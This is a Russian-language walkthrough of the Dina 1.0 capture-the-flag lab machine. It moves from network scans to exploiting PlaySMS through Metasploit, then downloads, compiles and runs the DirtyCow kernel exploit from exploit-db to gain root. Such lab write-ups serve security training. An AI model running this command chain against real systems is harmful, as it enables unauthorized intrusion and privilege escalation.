CTF. Hack The Dina 1.0
@webwareВсем привет! Появилась недавно идея совместного прохождения CTF с модератором @gx6060, буду выкладывать наши варианты прохождения, от простых к сложным с описанием техник. Я уже делал подобные обзоры в одиночку, но две головы интереснее.
Взяли несложную Dina 1.0.
Для начала, как обычно немного разведки:
netdiscover
Dina обнаружилась в сети под адресом 192.168.0.107, далее nmap:
nmap –sV –A 192.168.0.107
Среди всей информации, интерес представляет директория /nothing, так как, при просмотре исходного кода мы находим список паролей:
Ну и конечно, необходимо подключить nikto, т.к. больше ничего интересного не нашлось.
nikto –h 192.168.0.107
Директория /secure содержит запароленный архив с бэкапом, нетрудно догадаться, что правильным будет один из паролей в найденном ранее списке.
Содержимое архива – это файл MP3 который таковым не является, смотрим на него через notepad++ к примеру.
Переходим по ссылке, нас встречает сервис PlaySMS, пароль опять подбираем из списка найденных.
Прежде чем копать дальше, можно параллельно запустить поиск эксплоитов на этот сервис по Metasploit, Google тоже предлагает несколько вариантов эксплуатации, но этот вариант приемлемей:
msfconsole search playsms
По описанию, этот эксплоит должен идеально подойти, задаем необходимые параметры для работы эксплойта:
Запускаем:
exploit
Две трети работы сделано, теперь необходимо подумать над вектором повышения привилегий, переходим в шелл и импортируем оболочку:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
Долго думать не пришлось, вспомнил про firefart dirtycow exploit, мы имеем право записи в папку /tmp, туда его и скопируем:
wget https://www.exploit-db.com/download/40839.c --no-check-certificate
Переименуем и скомпилируем:
gcc -pthread dirty.c -o dirty –lcrypt
Запускаем эксплоит и вводим новый пароль, для ново созданного пользователя firefart:
./dirthy
Переподключаемся к шеллу и меняем пользователя на firefart:
su
Теперь осталось взять флаг:
cd /root cat flag.txt
На этом прохождение Diana 1.0. можно считать законченным. Спасибо за внимание.
P.S. Можно было провернуть это и через гостевую сессию, и пройти ее минуты за полторы, но так неинтересно)
